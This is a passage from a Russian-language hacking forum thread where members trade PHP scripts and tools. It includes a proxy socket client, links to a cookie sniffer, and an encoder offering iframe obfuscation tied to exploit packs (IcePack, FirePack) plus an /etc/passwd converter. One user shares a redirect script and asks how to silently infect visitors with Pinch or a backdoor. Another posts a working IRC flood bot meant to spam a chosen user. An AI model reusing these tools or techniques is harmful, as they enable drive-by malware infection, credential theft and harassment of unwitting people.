    //впишите здесь рабочий прокси
    $s->set_proxy('203.162.2.139','80'); //устанавливаем адрес прокси-сервера и порт (можно убрать эту строку, тогда прокси не будет использоваться)

    $s->sconnect(); //подключаем сокет

    $s->set_connection(1,300); //keep-alive: 300
    $s->set_proto('1.1'); //HTTP 1.1

    $s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://myip.ru/)

    $s->swrite(); //пишем его в сокет

    $ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

    print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

    $s->sclose(); //закрываем соединение
    ?>
     
    1 person likes this.
  16. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Небольшой сниффер куков:
    http://rapidshare.com/files/119211590/sniffer.rar

    Простенький скрипт для кодирования-декодирования
    {
    Base64 Encode
    Base64 Decode
    URL Encode
    URL Decode
    MD5 Encode
    SHA1 Encode
    ASCII -> HEX
    HEX -> ASCII
    ASCII -> String.fromCharCode()
    String.fromCharCode() -> ASCII
    ASCII -> chr()
    chr() -> ASCII
    ASCII -> DEC
    DEC -> ASCII
    RUS -> Translit
    ASCII -> Bin
    Bin -> ASCII
    ASCII -> 0xHEX
    StrLength
    CRC32 calc
    URL -> iFrame (Level 0)
    IFrame crupt (Level 2 [FirePack 0.18])
    IFrame crupt (Level 2 [IcePack])
    IFrame crupt (Level 3 [IcePack])
    IFrame crupt [TORNADO Crupt]
    /etc/passwd -> login;login
    }
    Делал каг панельку для оперы, поэтому style="width:100%"
    http://rapidshare.com/files/119213017/www.rar
     
    1 person likes this.
  17. Daro

    Daro Member

    Joined:
    21 Apr 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    4
    Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой!

    <?php
    $ref=$_SERVER['QUERY_STRING'];
    if ($ref!='') $ref='?'.$ref;
    header('Location: http://*********.$ref);
    exit();


    Этот скрипт грузит но толко выскакивает окно (dowlad или скачать)
    Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor!
    Или выложите пожалуста свой!
    Зарание Спасибо!
     
    1 person likes this.
  18. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    обсуждалось много раз..ищи под каждый брауезер свой сплойт...иначе не сделаешь ты ничего подобного
     
  19. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Irc фулд бот...
    PHP:
    <? 
    set_time_limit(0); 
    $botname="Boot2Flood"//ниг бота 
    $channel="#123"//chanell 
    $address="localhost"//irc server 
    $port="6667"//port 
    $pass=""//пасс но он тут врятле пригодиццо 
    $hellomsg="ВЫПЕЙ иаДУ :\\"//флудо месага 
    $baduser="#123"//это нехароший канал или юзверь 
    $s=fsockopen($address$port) or die("FATAL: Cannot connect to $address:$port"); 
    fputs($s"USER bot no no :$botname\r\n"); 
    fputs($s"NICK :$botname\r\n"); 
    fputs($s"IDENTIFY :$pass\r\n"); 
    fputs($s"JOIN $channel\r\n"); 
    fputs($s"PRIVMSG $channel :".chr(1)."ACTION педоратор $baduser детектед преступаю к флудерастенгу!".chr(1)."\r\n"); 
    while(
    true){ 
    fputs($s"PRIVMSG $baduser :".chr(1)."ACTION $hellomsg".chr(1)."\r\n"); //цикл с флудом =) 
    sleep(1);


    ?>
     
  20. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Без проксей и под 1м ником будет забанен через пару секунд автоматом ..